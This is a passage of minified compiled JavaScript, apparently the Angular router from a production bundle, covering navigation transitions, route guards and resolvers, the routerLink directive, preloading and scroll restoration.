V=++this.navigationId;this.transitions?.next({...this.transitions.value,...p,id:V})}setupNavigations(p){return this.transitions=new u.X({id:0,targetPageId:0,currentUrlTree:p.currentUrlTree,currentRawUrl:p.currentUrlTree,extractedUrl:p.urlHandlingStrategy.extract(p.currentUrlTree),urlAfterRedirects:p.urlHandlingStrategy.extract(p.currentUrlTree),rawUrl:p.currentUrlTree,extras:{},resolve:null,reject:null,promise:Promise.resolve(!0),source:Rn,restoredState:null,currentSnapshot:p.routerState.snapshot,targetSnapshot:null,currentRouterState:p.routerState,targetRouterState:null,guards:{canActivateChecks:[],canDeactivateChecks:[]},guardsResult:null}),this.transitions.pipe((0,K.h)(V=>0!==V.id),(0,Q.U)(V=>({...V,extractedUrl:p.urlHandlingStrategy.extract(V.rawUrl)})),(0,oe.w)(V=>{let ne=!1,He=!1;return(0,s.of)(V).pipe((0,Ke.b)(tt=>{this.currentNavigation={id:tt.id,initialUrl:tt.rawUrl,extractedUrl:tt.extractedUrl,trigger:tt.source,extras:tt.extras,previousNavigation:this.lastSuccessfulNavigation?{...this.lastSuccessfulNavigation,previousNavigation:null}:null}}),(0,oe.w)(tt=>{const Lt=p.browserUrlTree.toString(),$t=!p.navigated||tt.extractedUrl.toString()!==Lt||Lt!==p.currentUrlTree.toString();if(!$t&&"reload"!==(tt.extras.onSameUrlNavigation??p.onSameUrlNavigation)){const f1="";return this.events.next(new An(tt.id,p.serializeUrl(V.rawUrl),f1,0)),p.rawUrlTree=tt.rawUrl,tt.resolve(null),H.E}if(p.urlHandlingStrategy.shouldProcessUrl(tt.rawUrl))return Cr(tt.source)&&(p.browserUrlTree=tt.extractedUrl),(0,s.of)(tt).pipe((0,oe.w)(f1=>{const q1=this.transitions?.getValue();return this.events.next(new X1(f1.id,this.urlSerializer.serialize(f1.extractedUrl),f1.source,f1.restoredState)),q1!==this.transitions?.getValue()?H.E:Promise.resolve(f1)}),function W2(M,A,p,V){return(0,oe.w)(ne=>function l2(M,A,p,V,ne){return new Y2(M,A,p,V,ne).apply()}(M,A,p,ne.extractedUrl,V).pipe((0,Q.U)(He=>({...ne,urlAfterRedirects:He}))))}(this.environmentInjector,this.configLoader,this.urlSerializer,p.config),(0,Ke.b)(f1=>{this.currentNavigation={...this.currentNavigation,finalUrl:f1.urlAfterRedirects},V.urlAfterRedirects=f1.urlAfterRedirects}),function I1(M,A,p,V,ne){return(0,se.zg)(He=>function H1(M,A,p,V,ne,He,tt="emptyOnly"){return new N(M,A,p,V,ne,tt,He).recognize().pipe((0,oe.w)(Lt=>null===Lt?function M1(M){return new z.y(A=>A.error(M))}(new y1):(0,s.of)(Lt)))}(M,A,p,He.urlAfterRedirects,V.serialize(He.urlAfterRedirects),V,ne).pipe((0,Q.U)(tt=>({...He,targetSnapshot:tt}))))}(this.environmentInjector,this.rootComponentType,p.config,this.urlSerializer,p.paramsInheritanceStrategy),(0,Ke.b)(f1=>{if(V.targetSnapshot=f1.targetSnapshot,"eager"===p.urlUpdateStrategy){if(!f1.extras.skipLocationChange){const On=p.urlHandlingStrategy.merge(f1.urlAfterRedirects,f1.rawUrl);p.setBrowserUrl(On,f1)}p.browserUrlTree=f1.urlAfterRedirects}const q1=new li(f1.id,this.urlSerializer.serialize(f1.extractedUrl),this.urlSerializer.serialize(f1.urlAfterRedirects),f1.targetSnapshot);this.events.next(q1)}));if($t&&p.urlHandlingStrategy.shouldProcessUrl(p.rawUrlTree)){const{id:f1,extractedUrl:q1,source:On,restoredState:A2,extras:Yi}=tt,P2=new X1(f1,this.urlSerializer.serialize(q1),On,A2);this.events.next(P2);const r2=h2(q1,this.rootComponentType).snapshot;return V={...tt,targetSnapshot:r2,urlAfterRedirects:q1,extras:{...Yi,skipLocationChange:!1,replaceUrl:!1}},(0,s.of)(V)}{const f1="";return this.events.next(new An(tt.id,p.serializeUrl(V.extractedUrl),f1,1)),p.rawUrlTree=tt.rawUrl,tt.resolve(null),H.E}}),(0,Ke.b)(tt=>{const Lt=new L1(tt.id,this.urlSerializer.serialize(tt.extractedUrl),this.urlSerializer.serialize(tt.urlAfterRedirects),tt.targetSnapshot);this.events.next(Lt)}),(0,Q.U)(tt=>V={...tt,guards:I(tt.targetSnapshot,tt.currentSnapshot,this.rootContexts)}),function Te(M,A){return(0,se.zg)(p=>{const{targetSnapshot:V,currentSnapshot:ne,guards:{canActivateChecks:He,canDeactivateChecks:tt}}=p;return 0===tt.length&&0===He.length?(0,s.of)({...p,guardsResult:!0}):function y(M,A,p,V){return(0,a.D)(M).pipe((0,se.zg)(ne=>function Mt(M,A,p,V,ne){const He=A&&A.routeConfig?A.routeConfig.canDeactivate:null;if(!He||0===He.length)return(0,s.of)(!0);const tt=He.map(Lt=>{const $t=Qn(A)??ne,d1=T(Lt,$t);return Xe(function Bn(M){return M&&Tt(M.canDeactivate)}(d1)?d1.canDeactivate(M,A,p,V):$t.runInContext(()=>d1(M,A,p,V))).pipe(Ye())});return(0,s.of)(tt).pipe(Wn())}(ne.component,ne.route,p,A,V)),Ye(ne=>!0!==ne,!0))}(tt,V,ne,M).pipe((0,se.zg)(Lt=>Lt&&function t1(M){return"boolean"==typeof M}(Lt)?function D(M,A,p,V){return(0,a.D)(A).pipe((0,qe.b)(ne=>(0,_.z)(function Le(M,A){return null!==M&&A&&A(new Nn(M)),(0,s.of)(!0)}(ne.route.parent,V),function Z(M,A){return null!==M&&A&&A(new u2(M)),(0,s.of)(!0)}(ne.route,V),function yt(M,A,p){const V=A[A.length-1],He=A.slice(0,A.length-1).reverse().map(tt=>function L(M){const A=M.routeConfig?M.routeConfig.canActivateChild:null;return A&&0!==A.length?{node:M,guards:A}:null}(tt)).filter(tt=>null!==tt).map(tt=>(0,S.P)(()=>{const Lt=tt.guards.map($t=>{const d1=Qn(tt.node)??p,f1=T($t,d1);return Xe(function W1(M){return M&&Tt(M.canActivateChild)}(f1)?f1.canActivateChild(V,M):d1.runInContext(()=>f1(V,M))).pipe(Ye())});return(0,s.of)(Lt).pipe(Wn())}));return(0,s.of)(He).pipe(Wn())}(M,ne.path,p),function rt(M,A,p){const V=A.routeConfig?A.routeConfig.canActivate:null;if(!V||0===V.length)return(0,s.of)(!0);const ne=V.map(He=>(0,S.P)(()=>{const tt=Qn(A)??p,Lt=T(He,tt);return Xe(function an(M){return M&&Tt(M.canActivate)}(Lt)?Lt.canActivate(A,M):tt.runInContext(()=>Lt(A,M))).pipe(Ye())}));return(0,s.of)(ne).pipe(Wn())}(M,ne.route,p))),Ye(ne=>!0!==ne,!0))}(V,He,M,A):(0,s.of)(Lt)),(0,Q.U)(Lt=>({...p,guardsResult:Lt})))})}(this.environmentInjector,tt=>this.events.next(tt)),(0,Ke.b)(tt=>{if(V.guardsResult=tt.guardsResult,vt(tt.guardsResult))throw fi(0,tt.guardsResult);const Lt=new Cn(tt.id,this.urlSerializer.serialize(tt.extractedUrl),this.urlSerializer.serialize(tt.urlAfterRedirects),tt.targetSnapshot,!!tt.guardsResult);this.events.next(Lt)}),(0,K.h)(tt=>!!tt.guardsResult||(p.restoreHistory(tt),this.cancelNavigationTransition(tt,"",3),!1)),mi(tt=>{if(tt.guards.canActivateChecks.length)return(0,s.of)(tt).pipe((0,Ke.b)(Lt=>{const $t=new Mn(Lt.id,this.urlSerializer.serialize(Lt.extractedUrl),this.urlSerializer.serialize(Lt.urlAfterRedirects),Lt.targetSnapshot);this.events.next($t)}),(0,oe.w)(Lt=>{let $t=!1;return(0,s.of)(Lt).pipe(function Ln(M,A){return(0,se.zg)(p=>{const{targetSnapshot:V,guards:{canActivateChecks:ne}}=p;if(!ne.length)return(0,s.of)(p);let He=0;return(0,a.D)(ne).pipe((0,qe.b)(tt=>function rn(M,A,p,V){const ne=M.routeConfig,He=M._resolve;return void 0!==ne?.title&&!t2(ne)&&(He[Je]=ne.title),function kn(M,A,p,V){const ne=function Di(M){return[...Object.keys(M),...Object.getOwnPropertySymbols(M)]}(M);if(0===ne.length)return(0,s.of)({});const He={};return(0,a.D)(ne).pipe((0,se.zg)(tt=>function wi(M,A,p,V){const ne=Qn(A)??V,He=T(M,ne);return Xe(He.resolve?He.resolve(A,p):ne.runInContext(()=>He(A,p)))}(M[tt],A,p,V).pipe(Ye(),(0,Ke.b)(Lt=>{He[tt]=Lt}))),ve(1),(0,P.h)(He),(0,dt.K)(tt=>qn(tt)?H.E:(0,C._)(tt)))}(He,M,A,V).pipe((0,Q.U)(tt=>(M._resolvedData=tt,M.data=Zn(M,p).resolve,ne&&t2(ne)&&(M.data[Je]=ne.title),null)))}(tt.route,V,M,A)),(0,Ke.b)(()=>He++),ve(1),(0,se.zg)(tt=>He===ne.length?(0,s.of)(p):H.E))})}(p.paramsInheritanceStrategy,this.environmentInjector),(0,Ke.b)({next:()=>$t=!0,complete:()=>{$t||(p.restoreHistory(Lt),this.cancelNavigationTransition(Lt,"",2))}}))}),(0,Ke.b)(Lt=>{const $t=new di(Lt.id,this.urlSerializer.serialize(Lt.extractedUrl),this.urlSerializer.serialize(Lt.urlAfterRedirects),Lt.targetSnapshot);this.events.next($t)}))}),mi(tt=>{const Lt=$t=>{const d1=[];$t.routeConfig?.loadComponent&&!$t.routeConfig._loadedComponent&&d1.push(this.configLoader.loadComponent($t.routeConfig).pipe((0,Ke.b)(f1=>{$t.component=f1}),(0,Q.U)(()=>{})));for(const f1 of $t.children)d1.push(...Lt(f1));return d1};return(0,E.aj)(Lt(tt.targetSnapshot.root)).pipe(q(),(0,Ce.q)(1))}),mi(()=>this.afterPreactivation()),(0,Q.U)(tt=>{const Lt=function Ji(M,A,p){const V=bi(M,A._root,p?p._root:void 0);return new qi(V,A)}(p.routeReuseStrategy,tt.targetSnapshot,tt.currentRouterState);return V={...tt,targetRouterState:Lt}}),(0,Ke.b)(tt=>{p.currentUrlTree=tt.urlAfterRedirects,p.rawUrlTree=p.urlHandlingStrategy.merge(tt.urlAfterRedirects,tt.rawUrl),p.routerState=tt.targetRouterState,"deferred"===p.urlUpdateStrategy&&(tt.extras.skipLocationChange||p.setBrowserUrl(p.rawUrlTree,tt),p.browserUrlTree=tt.urlAfterRedirects)}),((M,A,p)=>(0,Q.U)(V=>(new c2(A,V.targetRouterState,V.currentRouterState,p).activate(M),V)))(this.rootContexts,p.routeReuseStrategy,tt=>this.events.next(tt)),(0,Ce.q)(1),(0,Ke.b)({next:tt=>{ne=!0,this.lastSuccessfulNavigation=this.currentNavigation,p.navigated=!0,this.events.next(new Pn(tt.id,this.urlSerializer.serialize(tt.extractedUrl),this.urlSerializer.serialize(p.currentUrlTree))),p.titleStrategy?.updateTitle(tt.targetRouterState.snapshot),tt.resolve(!0)},complete:()=>{ne=!0}}),(0,w.x)(()=>{ne||He||this.cancelNavigationTransition(V,"",1),this.currentNavigation?.id===V.id&&(this.currentNavigation=null)}),(0,dt.K)(tt=>{if(He=!0,Li(tt)){o2(tt)||(p.navigated=!0,p.restoreHistory(V,!0));const Lt=new Fn(V.id,this.urlSerializer.serialize(V.extractedUrl),tt.message,tt.cancellationCode);if(this.events.next(Lt),o2(tt)){const $t=p.urlHandlingStrategy.merge(tt.url,p.rawUrlTree),d1={skipLocationChange:V.extras.skipLocationChange,replaceUrl:"eager"===p.urlUpdateStrategy||Cr(V.source)};p.scheduleNavigation($t,Rn,null,d1,{resolve:V.resolve,reject:V.reject,promise:V.promise})}else V.resolve(!1)}else{p.restoreHistory(V,!0);const Lt=new $n(V.id,this.urlSerializer.serialize(V.extractedUrl),tt,V.targetSnapshot??void 0);this.events.next(Lt);try{V.resolve(p.errorHandler(tt))}catch($t){V.reject($t)}}return H.E}))}))}cancelNavigationTransition(p,V,ne){const He=new Fn(p.id,this.urlSerializer.serialize(p.extractedUrl),V,ne);this.events.next(He),p.resolve(!1)}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();function Cr(M){return M!==Rn}let Rr=(()=>{class M{buildTitle(p){let V,ne=p.root;for(;void 0!==ne;)V=this.getResolvedTitleForRoute(ne)??V,ne=ne.children.find(He=>He.outlet===ct);return V}getResolvedTitleForRoute(p){return p.data[Je]}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return(0,n.f3M)(_2)},providedIn:"root"}),M})(),_2=(()=>{class M extends Rr{constructor(p){super(),this.title=p}updateTitle(p){const V=this.buildTitle(p);void 0!==V&&this.title.setTitle(V)}}return M.\\u0275fac=function(p){return new(p||M)(n.LFG(_e.Dx))},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})(),qr=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return(0,n.f3M)(Pr)},providedIn:"root"}),M})();class cr{shouldDetach(A){return!1}store(A,p){}shouldAttach(A){return!1}retrieve(A){return null}shouldReuseRoute(A,p){return A.routeConfig===p.routeConfig}}let Pr=(()=>{class M extends cr{}return M.\\u0275fac=function(){let A;return function(V){return(A||(A=n.n5z(M)))(V||M)}}(),M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();const V2=new n.OlP("",{providedIn:"root",factory:()=>({})});let Mr=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return(0,n.f3M)(Jr)},providedIn:"root"}),M})(),Jr=(()=>{class M{shouldProcessUrl(p){return!0}extract(p){return p}merge(p,V){return p}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();function Nr(M){throw M}function Hr(M,A,p){return A.parse("/")}const Z2={paths:"exact",fragment:"ignored",matrixParams:"ignored",queryParams:"exact"},Xr={paths:"subset",fragment:"ignored",matrixParams:"ignored",queryParams:"subset"};let Jn=(()=>{class M{get navigationId(){return this.navigationTransitions.navigationId}get browserPageId(){if("computed"===this.canceledNavigationResolution)return this.location.getState()?.\\u0275routerPageId}get events(){return this.navigationTransitions.events}constructor(){this.disposed=!1,this.currentPageId=0,this.console=(0,n.f3M)(n.c2e),this.isNgZoneEnabled=!1,this.options=(0,n.f3M)(V2,{optional:!0})||{},this.errorHandler=this.options.errorHandler||Nr,this.malformedUriErrorHandler=this.options.malformedUriErrorHandler||Hr,this.navigated=!1,this.lastSuccessfulId=-1,this.urlHandlingStrategy=(0,n.f3M)(Mr),this.routeReuseStrategy=(0,n.f3M)(qr),this.urlCreationStrategy=(0,n.f3M)(Fi),this.titleStrategy=(0,n.f3M)(Rr),this.onSameUrlNavigation=this.options.onSameUrlNavigation||"ignore",this.paramsInheritanceStrategy=this.options.paramsInheritanceStrategy||"emptyOnly",this.urlUpdateStrategy=this.options.urlUpdateStrategy||"deferred",this.canceledNavigationResolution=this.options.canceledNavigationResolution||"replace",this.config=m((0,n.f3M)(Ai,{optional:!0})??[]),this.navigationTransitions=(0,n.f3M)(K2),this.urlSerializer=(0,n.f3M)(J),this.location=(0,n.f3M)(G.Ye),this.isNgZoneEnabled=(0,n.f3M)(n.R0b)instanceof n.R0b&&n.R0b.isInAngularZone(),this.resetConfig(this.config),this.currentUrlTree=new Fe,this.rawUrlTree=this.currentUrlTree,this.browserUrlTree=this.currentUrlTree,this.routerState=h2(this.currentUrlTree,null),this.navigationTransitions.setupNavigations(this).subscribe(p=>{this.lastSuccessfulId=p.id,this.currentPageId=this.browserPageId??0},p=>{this.console.warn(`Unhandled Navigation Error: ${p}`)})}resetRootComponentType(p){this.routerState.root.component=p,this.navigationTransitions.rootComponentType=p}initialNavigation(){if(this.setUpLocationChangeListener(),!this.navigationTransitions.hasRequestedNavigation){const p=this.location.getState();this.navigateToSyncWithBrowser(this.location.path(!0),Rn,p)}}setUpLocationChangeListener(){this.locationSubscription||(this.locationSubscription=this.location.subscribe(p=>{const V="popstate"===p.type?"popstate":"hashchange";"popstate"===V&&setTimeout(()=>{this.navigateToSyncWithBrowser(p.url,V,p.state)},0)}))}navigateToSyncWithBrowser(p,V,ne){const He={replaceUrl:!0},tt=ne?.navigationId?ne:null;if(ne){const $t={...ne};delete $t.navigationId,delete $t.\\u0275routerPageId,0!==Object.keys($t).length&&(He.state=$t)}const Lt=this.parseUrl(p);this.scheduleNavigation(Lt,V,tt,He)}get url(){return this.serializeUrl(this.currentUrlTree)}getCurrentNavigation(){return this.navigationTransitions.currentNavigation}resetConfig(p){this.config=p.map(v2),this.navigated=!1,this.lastSuccessfulId=-1}ngOnDestroy(){this.dispose()}dispose(){this.navigationTransitions.complete(),this.locationSubscription&&(this.locationSubscription.unsubscribe(),this.locationSubscription=void 0),this.disposed=!0}createUrlTree(p,V={}){const{relativeTo:ne,queryParams:He,fragment:tt,queryParamsHandling:Lt,preserveFragment:$t}=V,d1=$t?this.currentUrlTree.fragment:tt;let f1=null;switch(Lt){case"merge":f1={...this.currentUrlTree.queryParams,...He};break;case"preserve":f1=this.currentUrlTree.queryParams;break;default:f1=He||null}return null!==f1&&(f1=this.removeEmptyProps(f1)),this.urlCreationStrategy.createUrlTree(ne,this.routerState,this.currentUrlTree,p,f1,d1??null)}navigateByUrl(p,V={skipLocationChange:!1}){const ne=vt(p)?p:this.parseUrl(p),He=this.urlHandlingStrategy.merge(ne,this.rawUrlTree);return this.scheduleNavigation(He,Rn,null,V)}navigate(p,V={skipLocationChange:!1}){return function k2(M){for(let A=0;A<M.length;A++){const p=M[A];if(null==p)throw new n.vHH(4008,false)}}(p),this.navigateByUrl(this.createUrlTree(p,V),V)}serializeUrl(p){return this.urlSerializer.serialize(p)}parseUrl(p){let V;try{V=this.urlSerializer.parse(p)}catch(ne){V=this.malformedUriErrorHandler(ne,this.urlSerializer,p)}return V}isActive(p,V){let ne;if(ne=!0===V?{...Z2}:!1===V?{...Xr}:V,vt(p))return Gt(this.currentUrlTree,p,ne);const He=this.parseUrl(p);return Gt(this.currentUrlTree,He,ne)}removeEmptyProps(p){return Object.keys(p).reduce((V,ne)=>{const He=p[ne];return null!=He&&(V[ne]=He),V},{})}scheduleNavigation(p,V,ne,He,tt){if(this.disposed)return Promise.resolve(!1);let Lt,$t,d1,f1;return tt?(Lt=tt.resolve,$t=tt.reject,d1=tt.promise):d1=new Promise((q1,On)=>{Lt=q1,$t=On}),f1="computed"===this.canceledNavigationResolution?ne&&ne.\\u0275routerPageId?ne.\\u0275routerPageId:(this.browserPageId??0)+1:0,this.navigationTransitions.handleNavigationRequest({targetPageId:f1,source:V,restoredState:ne,currentUrlTree:this.currentUrlTree,currentRawUrl:this.currentUrlTree,rawUrl:p,extras:He,resolve:Lt,reject:$t,promise:d1,currentSnapshot:this.routerState.snapshot,currentRouterState:this.routerState}),d1.catch(q1=>Promise.reject(q1))}setBrowserUrl(p,V){const ne=this.urlSerializer.serialize(p);if(this.location.isCurrentPathEqualTo(ne)||V.extras.replaceUrl){const tt={...V.extras.state,...this.generateNgRouterState(V.id,this.browserPageId)};this.location.replaceState(ne,"",tt)}else{const He={...V.extras.state,...this.generateNgRouterState(V.id,V.targetPageId)};this.location.go(ne,"",He)}}restoreHistory(p,V=!1){if("computed"===this.canceledNavigationResolution){const He=this.currentPageId-(this.browserPageId??this.currentPageId);0!==He?this.location.historyGo(He):this.currentUrlTree===this.getCurrentNavigation()?.finalUrl&&0===He&&(this.resetState(p),this.browserUrlTree=p.currentUrlTree,this.resetUrlToCurrentUrlTree())}else"replace"===this.canceledNavigationResolution&&(V&&this.resetState(p),this.resetUrlToCurrentUrlTree())}resetState(p){this.routerState=p.currentRouterState,this.currentUrlTree=p.currentUrlTree,this.rawUrlTree=this.urlHandlingStrategy.merge(this.currentUrlTree,p.rawUrl)}resetUrlToCurrentUrlTree(){this.location.replaceState(this.urlSerializer.serialize(this.rawUrlTree),"",this.generateNgRouterState(this.lastSuccessfulId,this.currentPageId))}generateNgRouterState(p,V){return"computed"===this.canceledNavigationResolution?{navigationId:p,\\u0275routerPageId:V}:{navigationId:p}}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})(),Q2=(()=>{class M{constructor(p,V,ne,He,tt,Lt){this.router=p,this.route=V,this.tabIndexAttribute=ne,this.renderer=He,this.el=tt,this.locationStrategy=Lt,this._preserveFragment=!1,this._skipLocationChange=!1,this._replaceUrl=!1,this.href=null,this.commands=null,this.onChanges=new U.xQ;const $t=tt.nativeElement.tagName?.toLowerCase();this.isAnchorElement="a"===$t||"area"===$t,this.isAnchorElement?this.subscription=p.events.subscribe(d1=>{d1 instanceof Pn&&this.updateHref()}):this.setTabIndexIfNotOnNativeEl("0")}set preserveFragment(p){this._preserveFragment=(0,n.D6c)(p)}get preserveFragment(){return this._preserveFragment}set skipLocationChange(p){this._skipLocationChange=(0,n.D6c)(p)}get skipLocationChange(){return this._skipLocationChange}set replaceUrl(p){this._replaceUrl=(0,n.D6c)(p)}get replaceUrl(){return this._replaceUrl}setTabIndexIfNotOnNativeEl(p){null!=this.tabIndexAttribute||this.isAnchorElement||this.applyAttributeValue("tabindex",p)}ngOnChanges(p){this.isAnchorElement&&this.updateHref(),this.onChanges.next(this)}set routerLink(p){null!=p?(this.commands=Array.isArray(p)?p:[p],this.setTabIndexIfNotOnNativeEl("0")):(this.commands=null,this.setTabIndexIfNotOnNativeEl(null))}onClick(p,V,ne,He,tt){return!!(null===this.urlTree||this.isAnchorElement&&(0!==p||V||ne||He||tt||"string"==typeof this.target&&"_self"!=this.target))||(this.router.navigateByUrl(this.urlTree,{skipLocationChange:this.skipLocationChange,replaceUrl:this.replaceUrl,state:this.state}),!this.isAnchorElement)}ngOnDestroy(){this.subscription?.unsubscribe()}updateHref(){this.href=null!==this.urlTree&&this.locationStrategy?this.locationStrategy?.prepareExternalUrl(this.router.serializeUrl(this.urlTree)):null;const p=null===this.href?null:(0,n.P3R)(this.href,this.el.nativeElement.tagName.toLowerCase(),"href");this.applyAttributeValue("href",p)}applyAttributeValue(p,V){const ne=this.renderer,He=this.el.nativeElement;null!==V?ne.setAttribute(He,p,V):ne.removeAttribute(He,p)}get urlTree(){return null===this.commands?null:this.router.createUrlTree(this.commands,{relativeTo:void 0!==this.relativeTo?this.relativeTo:this.route,queryParams:this.queryParams,fragment:this.fragment,queryParamsHandling:this.queryParamsHandling,preserveFragment:this.preserveFragment})}}return M.\\u0275fac=function(p){return new(p||M)(n.Y36(Jn),n.Y36(ei),n.$8M("tabindex"),n.Y36(n.Qsj),n.Y36(n.SBq),n.Y36(G.S$))},M.\\u0275dir=n.lG2({type:M,selectors:[["","routerLink",""]],hostVars:1,hostBindings:function(p,V){1&p&&n.NdJ("click",function(He){return V.onClick(He.button,He.ctrlKey,He.shiftKey,He.altKey,He.metaKey)}),2&p&&n.uIk("target",V.target)},inputs:{target:"target",queryParams:"queryParams",fragment:"fragment",queryParamsHandling:"queryParamsHandling",state:"state",relativeTo:"relativeTo",preserveFragment:"preserveFragment",skipLocationChange:"skipLocationChange",replaceUrl:"replaceUrl",routerLink:"routerLink"},standalone:!0,features:[n.TTD]}),M})();class O2{}let xr=(()=>{class M{constructor(p,V,ne,He,tt){this.router=p,this.injector=ne,this.preloadingStrategy=He,this.loader=tt}setUpPreloading(){this.subscription=this.router.events.pipe((0,K.h)(p=>p instanceof Pn),(0,qe.b)(()=>this.preload())).subscribe(()=>{})}preload(){return this.processRoutes(this.injector,this.router.config)}ngOnDestroy(){this.subscription&&this.subscription.unsubscribe()}processRoutes(p,V){const ne=[];for(const He of V){He.providers&&!He._injector&&(He._injector=(0,n.MMx)(He.providers,p,`Route: ${He.path}`));const tt=He._injector??p,Lt=He._loadedInjector??tt;(He.loadChildren&&!He._loadedRoutes&&void 0===He.canLoad||He.loadComponent&&!He._loadedComponent)&&ne.push(this.preloadConfig(tt,He)),(He.children||He._loadedRoutes)&&ne.push(this.processRoutes(Lt,He.children??He._loadedRoutes))}return(0,a.D)(ne).pipe((0,X.J)())}preloadConfig(p,V){return this.preloadingStrategy.preload(V,()=>{let ne;ne=V.loadChildren&&void 0===V.canLoad?this.loader.loadChildren(p,V):(0,s.of)(null);const He=ne.pipe((0,se.zg)(tt=>null===tt?(0,s.of)(void 0):(V._loadedRoutes=tt.routes,V._loadedInjector=tt.injector,this.processRoutes(tt.injector??p,tt.routes))));if(V.loadComponent&&!V._loadedComponent){const tt=this.loader.loadComponent(V);return(0,a.D)([He,tt]).pipe((0,X.J)())}return He})}}return M.\\u0275fac=function(p){return new(p||M)(n.LFG(Jn),n.LFG(n.Sil),n.LFG(n.lqb),n.LFG(O2),n.LFG(ji))},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();const q2=new n.OlP("");let Dr=(()=>{class M{constructor(p,V,ne,He,tt={}){this.urlSerializer=p,this.transitions=V,this.viewportScroller=ne,this.zone=He,this.options=tt,this.lastId=0,this.lastSource="imperative",this.restoredId=0,this.store={},tt.scrollPositionRestoration=tt.scrollPositionRestoration||"disabled",tt.anchorScrolling=tt.anchorScrolling||"disabled"}init(){"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.setHistoryScrollRestoration("manual"),this.routerEventsSubscription=this.createScrollEvents(),this.scrollEventsSubscription=this.consumeScrollEvents()}createScrollEvents(){return this.transitions.events.subscribe(p=>{p instanceof X1?(this.store[this.lastId]=this.viewportScroller.getScrollPosition(),this.lastSource=p.navigationTrigger,this.restoredId=p.restoredState?p.restoredState.navigationId:0):p instanceof Pn&&(this.lastId=p.id,this.scheduleScrollEvent(p,this.urlSerializer.parse(p.urlAfterRedirects).fragment))})}consumeScrollEvents(){return this.transitions.events.subscribe(p=>{p instanceof Sn&&(p.position?"top"===this.options.scrollPositionRestoration?this.viewportScroller.scrollToPosition([0,0]):"enabled"===this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition(p.position):p.anchor&&"enabled"===this.options.anchorScrolling?this.viewportScroller.scrollToAnchor(p.anchor):"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition([0,0]))})}scheduleScrollEvent(p,V){this.zone.runOutsideAngular(()=>{setTimeout(()=>{this.zone.run(()=>{this.transitions.events.next(new Sn(p,"popstate"===this.lastSource?this.store[this.restoredId]:null,V))})},0)})}ngOnDestroy(){this.routerEventsSubscription?.unsubscribe(),this.scrollEventsSubscription?.unsubscribe()}}return M.\\u0275fac=function(p){n.$Z()},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac}),M})();var oi=(()=>((oi=oi||{})[oi.COMPLETE=0]="COMPLETE",oi[oi.FAILED=1]="FAILED",oi[oi.REDIRECTING=2]="REDIRECTING",oi))();const Ri=!1;function d2(M,A){return{\\u0275kind:M,\\u0275providers:A}}const T2=new n.OlP("",{providedIn:"root",factory:()=>!1});function Ur(){const M=(0,n.f3M)(n.zs3);return A=>{const p=M.get(n.z2F);if(A!==p.components[0])return;const V=M.get(Jn),ne=M.get(Gr);1===M.get(wr)&&V.initialNavigation(),M.get(I2,null,n.XFs.Optional)?.setUpPreloading(),M.get(q2,null,n.XFs.Optional)?.init(),V.resetRootComponentType(p.componentTypes[0]),ne.closed||(ne.next(),ne.complete(),ne.unsubscribe())}}const Gr=new n.OlP(Ri?"bootstrap done indicator":"",{factory:()=>new U.xQ}),wr=new n.OlP(Ri?"initial navigation":"",{providedIn:"root",factory:()=>1});function ra(){let M=[];return M=Ri?[{provide:n.Xts,multi:!0,useFactory:()=>{const A=(0,n.f3M)(Jn);return()=>A.events.subscribe(p=>{console.group?.(`Router Event: ${p.constructor.name}`),console.log(function Ei(M){if(!("type"in M))return`Unknown Router Event: ${M.constructor.name}`;switch(M.type){case 14:return`ActivationEnd(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 13:return`ActivationStart(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 12:return`ChildActivationEnd(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 11:return`ChildActivationStart(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 8:return`GuardsCheckEnd(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state}, shouldActivate: ${M.shouldActivate})`;case 7:return`GuardsCheckStart(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 2:return`NavigationCancel(id: ${M.id}, url: \'${M.url}\')`;case 16:return`NavigationSkipped(id: ${M.id}, url: \'${M.url}\')`;case 1:return`NavigationEnd(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\')`;case 3:return`NavigationError(id: ${M.id}, url: \'${M.url}\', error: ${M.error})`;case 0:return`NavigationStart(id: ${M.id}, url: \'${M.url}\')`;case 6:return`ResolveEnd(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 5:return`ResolveStart(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 10:return`RouteConfigLoadEnd(path: ${M.route.path})`;case 9:return`RouteConfigLoadStart(path: ${M.route.path})`;case 4:return`RoutesRecognized(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 15:return`Scroll(anchor: \'${M.anchor}\', position: \'${M.position?`${M.position[0]}, ${M.position[1]}`:null}\')`}}(p)),console.log(p),console.groupEnd?.()})}}]:[],d2(1,M)}const I2=new n.OlP(Ri?"router preloader":"");function G2(M){return d2(0,[{provide:I2,useExisting:xr},{provide:O2,useExisting:M}])}const y2=!1,Ar=new n.OlP(y2?"router duplicate 